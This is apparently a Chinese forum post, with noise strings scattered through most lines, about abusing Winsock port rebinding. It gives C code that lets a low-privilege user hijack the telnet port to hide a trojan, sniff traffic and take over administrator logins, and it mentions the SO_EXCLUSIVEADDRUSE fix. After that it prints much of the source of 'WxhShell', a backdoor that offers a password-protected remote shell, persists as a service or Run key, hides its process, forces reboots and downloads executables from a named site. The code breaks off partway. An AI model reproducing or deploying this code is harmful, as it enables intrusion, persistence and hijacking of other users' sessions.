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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !2LX+*;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ht Fr(g\"$  
uDDa >Ka#+  
  saddr.sin_family = AF_INET; te+}j7SU  
V,&%[H [  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l$;"yVdks  
9*)&hhBs,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ff#7}9_mh  
\Z]+j@9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X8|H5Y:  
RPz[3y  
  这意味着什么?意味着可以进行如下的攻击: ]nTeTW  
<,]:jgX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JtL> mH  
Pp8S\%z~h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Js,!G  
p27Dc wov  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )O1]|r7v  
Xsq@E#@S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *'/,  
P>7Xbm,VP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k)p` x"To  
B@,r8)D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .q@?sdGD  
Ww]$zd-bo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;'"'|} xn  
$p0nq&4c  
  #include A WR :~{  
  #include 5p0~AN)  
  #include tDK@?PfKz  
  #include    |`T(:ZKXZ2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CY1WT  
  int main() ')uYI;h9  
  { o PSPb(.  
  WORD wVersionRequested; H%wB8Y ]  
  DWORD ret; PF{uaKWk  
  WSADATA wsaData;  =z.j{%  
  BOOL val; ?XBdBR_"^  
  SOCKADDR_IN saddr; e HphM;C  
  SOCKADDR_IN scaddr; !7N:cx'Qy  
  int err; 11H`WOTQF  
  SOCKET s; L< F8+a7i  
  SOCKET sc; 6j%%CWU{~  
  int caddsize; P3zUaN \c  
  HANDLE mt; RM2Ik_IH[l  
  DWORD tid;   ewMVUq*:  
  wVersionRequested = MAKEWORD( 2, 2 ); F]$ Nu  
  err = WSAStartup( wVersionRequested, &wsaData ); mrTf[ "K  
  if ( err != 0 ) { Ni_H1G  
  printf("error!WSAStartup failed!\n"); @ st>#]i4  
  return -1; [?]N GTr#  
  } 7H7 Xbi@  
  saddr.sin_family = AF_INET; 6$`<Y?  
   |9E:S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8em'7hR9  
TDh)}Ms  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +IdM|4$\1  
  saddr.sin_port = htons(23); PUdv1__C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xWLvx'8W  
  { CNB weM  
  printf("error!socket failed!\n"); N1t4o~  
  return -1; )&c2+Y@  
  } m06'T2I  
  val = TRUE; VI! \+A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V._-iw]v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9 [eiN  
  { bxXpw&  
  printf("error!setsockopt failed!\n"); GkAd"<B  
  return -1; -X.#Y6(  
  } 14,)JZN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UTA|Ps$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  {53FR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H=/1d.p  
1-kuK<KR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V3,C5KKk&z  
  { N63?4'_W  
  ret=GetLastError(); Ia2WBs =  
  printf("error!bind failed!\n"); mb\T)rj  
  return -1; Rk$7jZdTf  
  } SoIK<*J  
  listen(s,2); $fb%?n{  
  while(1) jFSR+mP!  
  { R?wZ\y Ks}  
  caddsize = sizeof(scaddr); @2Z|\ojJ  
  //接受连接请求 t^#1=nK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f|> rp[Gk  
  if(sc!=INVALID_SOCKET) i~!g9o(  
  { yFE0a"0y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N8 sT?  
  if(mt==NULL) 1 iH@vd  
  { ']}-;m\  
  printf("Thread Creat Failed!\n"); }<Ydj .85  
  break; a"(Ws]K  
  } >tg)F|@  
  } 4H8r[  
  CloseHandle(mt); m#+0m!  
  } 0#|Jhmv-zL  
  closesocket(s); 6i/unwe!`)  
  WSACleanup(); t>[QW`EeP  
  return 0; [v1$L p  
  }   z~H1f$}  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5hE#y]pfN  
  { @rhS[^1wi+  
  SOCKET ss = (SOCKET)lpParam; 1jC85^1Taq  
  SOCKET sc; 1hbQ30  
  unsigned char buf[4096]; a~2Jf @I3  
  SOCKADDR_IN saddr; 4H 6t" X  
  long num; h,[L6-n  
  DWORD val; rJ /HIda  
  DWORD ret; o$ @/@r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `I7s|9-=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a~KtH;7<  
  saddr.sin_family = AF_INET; <@J$hs9s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V9[_aP;  
  saddr.sin_port = htons(23); jOhAXe;~X{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) > ?+Rtg|${  
  { !.h{/37]  
  printf("error!socket failed!\n"); ruaZ(R[  
  return -1; b:(+d"S  
  } H{cOkuy  
  val = 100; FK BRJ5O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p\zqZ=s  
  { FBE|pG7  
  ret = GetLastError(); +Xg:*b9So  
  return -1; c!@|y E,  
  } A rE~6X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zbo4{.#  
  { ZK4V-?/[6  
  ret = GetLastError(); p5]W2i.,  
  return -1; aZf/WiR2  
  } (j>`+F5f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DY`0 `T  
  { 3]S*p ErY  
  printf("error!socket connect failed!\n"); :$I "n\  
  closesocket(sc); 0\i\G|5  
  closesocket(ss); 6jpzyf=~  
  return -1; &>-'|(m+2  
  } u^Cl s!C  
  while(1) 8wWp+Hk  
  { #19O5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #X] *kxQ<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xxGm T.&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R&1>\t  
  num = recv(ss,buf,4096,0); IB|!51H  
  if(num>0) } W]A`-Jv  
  send(sc,buf,num,0); zFOtOz`9H  
  else if(num==0) >s%Db<(P=  
  break; iv`G}.Bo  
  num = recv(sc,buf,4096,0); }w)}=WmD  
  if(num>0) gLMb,buqC  
  send(ss,buf,num,0); I=DVMG|  
  else if(num==0) G)0 4'|W  
  break; L#`X ]E  
  } J@_M%eN  
  closesocket(ss); Qi\]='C  
  closesocket(sc); i~x]!!  
  return 0 ; EG4~[5[YgI  
  } Kmx4bp4  
5kqI  
G5hRx@vfrL  
========================================================== km>ZhsqD  
/Ey%aA4v  
下边附上一个代码,,WXhSHELL QXj#Brp  
~{DJ,(N"n  
========================================================== {"jtR<{)  
l_k:OZ  
#include "stdafx.h"  XY)X-K$  
Q'U!  
#include <stdio.h> a[ ;L+  
#include <string.h> N5 sR  
#include <windows.h> AXcmN  
#include <winsock2.h> mBIksts5h  
#include <winsvc.h> P^o@x,V!&  
#include <urlmon.h> U/FysN_N!  
t tr`  
#pragma comment (lib, "Ws2_32.lib") !ak760*A  
#pragma comment (lib, "urlmon.lib") ;(mNjxA  
M_0f{  
#define MAX_USER   100 // 最大客户端连接数 (KO]>!t  
#define BUF_SOCK   200 // sock buffer -75mgOj.#  
#define KEY_BUFF   255 // 输入 buffer 6b*xhu\  
Cy/VH"G=  
#define REBOOT     0   // 重启 u;t~ z  
#define SHUTDOWN   1   // 关机 -8FUR~WJ  
Nb9GrYIS  
#define DEF_PORT   5000 // 监听端口 >"=DN5w ,S  
|LbAW /9a  
#define REG_LEN     16   // 注册表键长度 vC@^B)5gb  
#define SVC_LEN     80   // NT服务名长度  iKd+AzT  
M!i|,S  
// 从dll定义API GrJLQO0$N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &V~l(1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =$)M-;6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \$.{*f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LFW`ISY{  
N%Ta. `r  
// wxhshell配置信息 %c\k LSe  
struct WSCFG { u<cnz% @  
  int ws_port;         // 监听端口 ,G}i:7  
  char ws_passstr[REG_LEN]; // 口令 [(3s5)O  
  int ws_autoins;       // 安装标记, 1=yes 0=no *@PM,tS;  
  char ws_regname[REG_LEN]; // 注册表键名 {]}94T~/k  
  char ws_svcname[REG_LEN]; // 服务名 ZfqN4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6MY<6t0a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hchG\ i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m#8[")a$"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vaP`'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _ pz}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DZC@^k \E  
^s7!F.O C  
}; I-r+1gty  
wz69Yw7  
// default Wxhshell configuration OrM1eP"I  
struct WSCFG wscfg={DEF_PORT, 3Y2~HuM  
    "xuhuanlingzhe", <C(o0u&/  
    1, egG<"e*W}N  
    "Wxhshell", :yD>Tn;1  
    "Wxhshell", HLwMo&*rA  
            "WxhShell Service", 'n,V*9  
    "Wrsky Windows CmdShell Service", ML\>TDt  
    "Please Input Your Password: ", =iKl<CqI$E  
  1, cXqYO|3/M  
  "http://www.wrsky.com/wxhshell.exe", 9!uiQ  
  "Wxhshell.exe" kq5X<'MM9N  
    }; P* `*^r3  
W +ER'lX  
// 消息定义模块 jmk Ou5@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dV'EiNpf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KB](W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _,T 4DS6  
char *msg_ws_ext="\n\rExit."; -GCo`PR?b  
char *msg_ws_end="\n\rQuit."; <OGG(dI  
char *msg_ws_boot="\n\rReboot..."; If,p!L  
char *msg_ws_poff="\n\rShutdown..."; Q7XOO3<):  
char *msg_ws_down="\n\rSave to "; I@9'd$YY  
Is7BJ f  
char *msg_ws_err="\n\rErr!"; R'tKJ_VI  
char *msg_ws_ok="\n\rOK!"; r niM[7K  
2NMs-Zs  
char ExeFile[MAX_PATH]; %k1Pyv;]  
int nUser = 0; u>"0 >U  
HANDLE handles[MAX_USER]; ^r&)@R$V  
int OsIsNt; 7:<w)Al!  
[TFJb+N&  
SERVICE_STATUS       serviceStatus; X^ Is-[OvE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q&I`uS=F  
`nl n@ ;  
// 函数声明 TMj;NSc3  
int Install(void); tWIJ,_8l  
int Uninstall(void); yzhNl' Rz  
int DownloadFile(char *sURL, SOCKET wsh); =zyA~}M2  
int Boot(int flag); BtC*]WB"_'  
void HideProc(void); >UaQ7CRo  
int GetOsVer(void); /gZyl|kdy  
int Wxhshell(SOCKET wsl); Df^F)\7!N?  
void TalkWithClient(void *cs); &2`p#riAS  
int CmdShell(SOCKET sock); (\{k-2t*^  
int StartFromService(void); 3@gsKtA&H4  
int StartWxhshell(LPSTR lpCmdLine); V|_ h[hXE  
}<0N)dpT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xv-p7$?f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aaFT   
;Nj9,Va(t  
// 数据结构和表定义 D:_W;b)  
SERVICE_TABLE_ENTRY DispatchTable[] = $QC1l@[sM  
{ u##th8h4U  
{wscfg.ws_svcname, NTServiceMain}, 3O/#^~\'hW  
{NULL, NULL} + t5SrO!`  
}; cQK-Euum  
_VK I@   
// 自我安装 *i]?J  
int Install(void) V]p{jLG  
{ Mu? |<#s  
  char svExeFile[MAX_PATH]; hL&$` Q  
  HKEY key; {6zNCO  
  strcpy(svExeFile,ExeFile); g F*AS(9  
/D&&7;jJ  
// 如果是win9x系统,修改注册表设为自启动 Kp`{-dUf  
if(!OsIsNt) { 5.9<g>C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XVN`J]XHk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =:^aBN#  
  RegCloseKey(key); ?q:|vt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3=YpZ\l}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  }~/b%^  
  RegCloseKey(key); %tyo(HZQ  
  return 0; 43PLURay  
    } u=.8M`FxP  
  } "B_3<RSL  
} i41~-?Bc  
else { OM*c7&  
y?<KN0j  
// 如果是NT以上系统,安装为系统服务 %y6(+I #P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qq<@;4  
if (schSCManager!=0) Q\N*)&Sd<M  
{ r=H?fTY<3E  
  SC_HANDLE schService = CreateService ?RsrY4P  
  ( J-v1"7[2GC  
  schSCManager, 6c-/D.M  
  wscfg.ws_svcname, aOwjYl[?p  
  wscfg.ws_svcdisp, D:1@1Jr  
  SERVICE_ALL_ACCESS, =&bI-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^m|@pp  
  SERVICE_AUTO_START, l-+=Yk!X  
  SERVICE_ERROR_NORMAL, zt(lV  
  svExeFile, 6:ettdj  
  NULL, mM,HMrgLqK  
  NULL, ).SJ*Re*^I  
  NULL, k QuEG5n.-  
  NULL, 0[MYQl`  
  NULL Jb QK$[z"  
  ); gM&IV{k3  
  if (schService!=0) ]M7FIDg  
  { (~GQncqa  
  CloseServiceHandle(schService); F8f}PV]b  
  CloseServiceHandle(schSCManager); .[Sis<A]%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X-c|jn7  
  strcat(svExeFile,wscfg.ws_svcname);  w4U,7%V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y{%0[x*N<m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0gd`W{YP  
  RegCloseKey(key); wFJf"@/vJ  
  return 0; 7~Y\qJ4b  
    } >h\y1IrAaG  
  } Eomfa:WL  
  CloseServiceHandle(schSCManager); q[&Kr+)j  
} _K^Q]V[nZ  
} qoO`)<  
4&}%GH>}  
return 1; ytZo0pad  
} kxMvOB$  
paqGW]  
// 自我卸载 $DY#04Je\=  
int Uninstall(void) Jo5Bmh0  
{ U#jz5<r  
  HKEY key; @/ z\p7e  
0!hr9Y]Lx  
if(!OsIsNt) { v(1 [n]y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *f[ 5rr4  
  RegDeleteValue(key,wscfg.ws_regname); Mog >W&U  
  RegCloseKey(key); [,o:nry'a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x4MmBVqp  
  RegDeleteValue(key,wscfg.ws_regname); 5h5izA'0'  
  RegCloseKey(key); l0qaTpn  
  return 0; 1Bj.MQ^  
  } |oY{TQ<<d  
} $1yO Zp5  
} lsz3'!%Y)  
else { VOEV[?>ss  
4p:d#,?r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;TAj;Tf]H  
if (schSCManager!=0) |N)Ik8  
{ *~#I5s\s!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); my (@~'  
  if (schService!=0) b] 5weS-<  
  { R#T-o,m  
  if(DeleteService(schService)!=0) { >qeDb0  
  CloseServiceHandle(schService); F@BpAl  
  CloseServiceHandle(schSCManager); Xw?DN*`L  
  return 0; F.[%0b E  
  } lL D#|T3  
  CloseServiceHandle(schService); \V? .^/  
  } mY"7/dw<v  
  CloseServiceHandle(schSCManager); mTZ/C#ir(  
} 1djZ5`+  
} :zY4phR  
G+zhL6]F  
return 1; )bUnk +_  
} vV,TT%J8D  
y]db]pP5  
// 从指定url下载文件 F Z"n6hWA  
int DownloadFile(char *sURL, SOCKET wsh) l_g$6\&|  
{ q$:1Xkl  
  HRESULT hr; M\]lNQA  
char seps[]= "/"; j4$nr=d.6  
char *token; PLCm\Oh$l  
char *file; GA^hev  
char myURL[MAX_PATH]; ? i{?Q,  
char myFILE[MAX_PATH]; R"B{IWQi  
TRhMxH  
strcpy(myURL,sURL); ,P eR}E;c  
  token=strtok(myURL,seps); ~y<0Cc3Vs  
  while(token!=NULL) thjr1y.e  
  { :""HyjY!  
    file=token; 'RjEdLrI  
  token=strtok(NULL,seps); Lq(=0U\"P  
  } wvv+~K9jq  
Z"`w>c.  
GetCurrentDirectory(MAX_PATH,myFILE); )lG}B U.  
strcat(myFILE, "\\"); UG2+Y']  
strcat(myFILE, file); Z/Rp?Jz\j/  
  send(wsh,myFILE,strlen(myFILE),0); DbMVbgz<e  
send(wsh,"...",3,0); "Z.6@ c7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p{Lrv%-j  
  if(hr==S_OK) )z[C=  
return 0; ,^/Wv!uPE  
else ]LvP)0=  
return 1; S\GWMB!oF  
8E%LhA.  
} #(^<qr   
|AYii-g  
// 系统电源模块 4 &bmt  
int Boot(int flag) 7:4c\C0  
{ XZE(& (s  
  HANDLE hToken; f_~T  
  TOKEN_PRIVILEGES tkp; ;hT3N UCA  
)D8op;Fn  
  if(OsIsNt) { UmR)L!QT8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8eXe b|?J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XGa8tI[:X  
    tkp.PrivilegeCount = 1; q5f QTV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]#o;`5'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hek+zloB+  
if(flag==REBOOT) { Rhc:szDU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &[G)Y D  
  return 0; cv'8_3  
} SU0SsgFB  
else { 4C;;V m4~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fb,*;M1'  
  return 0; #}7T$Va  
} HPtMp#`T  
  } wd`p>  
  else { AiHU*dp6  
if(flag==REBOOT) { %]P{)*y-?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5226 &N  
  return 0; |8 ` }8vo)  
} IdmP!(u  
else { ![z2]L+TB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R27'00(Z0  
  return 0; `l|Oj$  
} oCT,v0+4O  
} zyPb\/  
Wl| i$L)7  
return 1; w%L4O;E]*{  
} f I1CT)0<e  
A7L;ims7  
// win9x进程隐藏模块 byM%D$R  
void HideProc(void)  P^te  
{ f ,e]jw@  
vHi%UaD-y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d+DO}=]  
  if ( hKernel != NULL ) vu( 5s  
  { A@?0(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @b(@`yz.a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DOWWG!mx  
    FreeLibrary(hKernel); [RBSUOF  
  } =z. hJu  
,!Wo6{'  
return; ? dJd7+A  
} %bw+>:Tr  
[{Wo:c9Qq1  
// 获取操作系统版本 6FDj:~  
int GetOsVer(void) "](Q2  
{ wR_mJMk_  
  OSVERSIONINFO winfo; 3EYEd39E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z</C)ObL  
  GetVersionEx(&winfo); ?NA $<0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P%R!\i  
  return 1;  ?s,oH  
  else @|A!?}  
  return 0; Sh#N5kgD  
} 1uw1(iL+  
@ lB{!j&q  
// 客户端句柄模块 A;8kC}  
int Wxhshell(SOCKET wsl) jU-LT8y:  
{ 3I 0pHP5  
  SOCKET wsh; q 4Pv\YO  
  struct sockaddr_in client; / =9Y(v  
  DWORD myID; X3sAy(q  
>_j(uw?u  
  while(nUser<MAX_USER) [W )%0lx  
{ jm%P-C @  
  int nSize=sizeof(client); k[*9b:~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZV{C9S&  
  if(wsh==INVALID_SOCKET) return 1; C]b:#S${  
du$lS':`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 7bwYKIn  
if(handles[nUser]==0) 2S_u/32]W  
  closesocket(wsh); 4A+g-{d  
else FWu:5fBZY  
  nUser++; Sfe[z=7S  
  } $7YZ;=~B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P[fy  
= cRmaD  
  return 0; 4L>8RiiQE;  
} e!J5h <:  
>r`O@`^U  
// 关闭 socket 2#NnA3l]x%  
void CloseIt(SOCKET wsh) Xc[ym  
{ IhzY7U)}T  
closesocket(wsh); #pZeGI|'J  
nUser--; _1)n_P4  
ExitThread(0); A@o7  
} YC;@^  
\JPMGcL  
// 客户端请求句柄 a=$ZM4Bn  
void TalkWithClient(void *cs) xDeM7L'  
{ }V ]*FCpQ  
L4^/O29  
  SOCKET wsh=(SOCKET)cs; i\lvxbp  
  char pwd[SVC_LEN]; ?5't1219  
  char cmd[KEY_BUFF]; 50 w$PW  
char chr[1]; qt.4dTd:_  
int i,j; cEf"m ?w  
;G`]`=s#Lq  
  while (nUser < MAX_USER) { <k[_AlCmsg  
u$tst_y-  
if(wscfg.ws_passstr) { gZ&4b'XS,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^0"^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `IlhLv  
  //ZeroMemory(pwd,KEY_BUFF); +76'(@(1Y  
      i=0; { 1~]}K2  
  while(i<SVC_LEN) { 1D[V{)#  
'bRf>=  
  // 设置超时 DI)"F OM6  
  fd_set FdRead; 64b AWHv  
  struct timeval TimeOut; 1PxRj  
  FD_ZERO(&FdRead); [;hkT   
  FD_SET(wsh,&FdRead); rXmrT%7k  
  TimeOut.tv_sec=8; 0#GnmH  
  TimeOut.tv_usec=0; b)a5LFt|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]2L11" erP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L+ew/I>:  
q5Zu'-Cx@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }WJX Q@  
  pwd=chr[0]; T$mT;k  
  if(chr[0]==0xd || chr[0]==0xa) { N @_y<7#C  
  pwd=0; r;b`@ .  
  break; Y->sJm  
  } )0I -N)  
  i++; q=e;P;u  
    } =P,mix|  
c611&  
  // 如果是非法用户,关闭 socket ]u<U[l-w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D(Z#um8n  
} y}FG5'5$13  
xN$V(ZX4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g_ep 5#\D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7V^j9TC  
K8KN<Q s]  
while(1) { ~i?Jg/qcxN  
~tTa[_a!  
  ZeroMemory(cmd,KEY_BUFF); Q(x=;wf5r  
;~ Xjk  
      // 自动支持客户端 telnet标准   mx1Bk9h%Xe  
  j=0; &:C[ nq  
  while(j<KEY_BUFF) { Nq9pory^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )6XnxBSH  
  cmd[j]=chr[0]; c='W{47  
  if(chr[0]==0xa || chr[0]==0xd) { Ib2&L  
  cmd[j]=0; m; =S]3P*  
  break; c>c3qjWY/  
  } nzxHd7NIZ  
  j++; !p ~.Y+  
    } M`#g>~bI#R  
kL s{B  
  // 下载文件 %iPIgma  
  if(strstr(cmd,"http://")) { x$Wtkb0<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &Odrq#o?R  
  if(DownloadFile(cmd,wsh)) xP9R d/xa|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IecD41%  
  else 8WLh7[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y+wy<[u  
  } i`6utOq  
  else {  S\ZCZ0  
P5dD&  
    switch(cmd[0]) { ve a$G~[%6  
  ,]qc#KDq-1  
  // 帮助 ?l[#d7IB  
  case '?': { [$$R>ELYQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;E{@)X..|  
    break; ]ml'd  
  } }j6|+  
  // 安装 L#D)[v"  
  case 'i': { {>64-bU  
    if(Install()) 5y='1s[%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y]i} j,e0L  
    else 1 h162  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Qbqxw  
    break; u6E ze4u  
    } R))4J  
  // 卸载 ~yngH0S$[b  
  case 'r': { Zq: }SU  
    if(Uninstall()) zb~;<:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T z:,l$  
    else .1h\r, #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 y.' O  
    break; MjBI1|*  
    } Vl(id_~_  
  // 显示 wxhshell 所在路径 b*Hk} !qH  
  case 'p': { [$>@f{:  
    char svExeFile[MAX_PATH]; ,DW q  
    strcpy(svExeFile,"\n\r"); Rc@lGq9  
      strcat(svExeFile,ExeFile); Z@JTZMN_  
        send(wsh,svExeFile,strlen(svExeFile),0); :hB6-CZkqN  
    break; A[Ce3m  
    } .ezko\nU  
  // 重启 <|3F('Q"  
  case 'b': { , P1m#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J| 46i  
    if(Boot(REBOOT)) DDT]A<WUV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lS2 `#l>  
    else { `Lw Z(M-hI  
    closesocket(wsh); %0u5d$bq  
    ExitThread(0); bLg gh]Fh  
    } Mu" vj*F  
    break; X)TZ  S  
    } _s=<Y^l%x  
  // 关机 q`|E9  
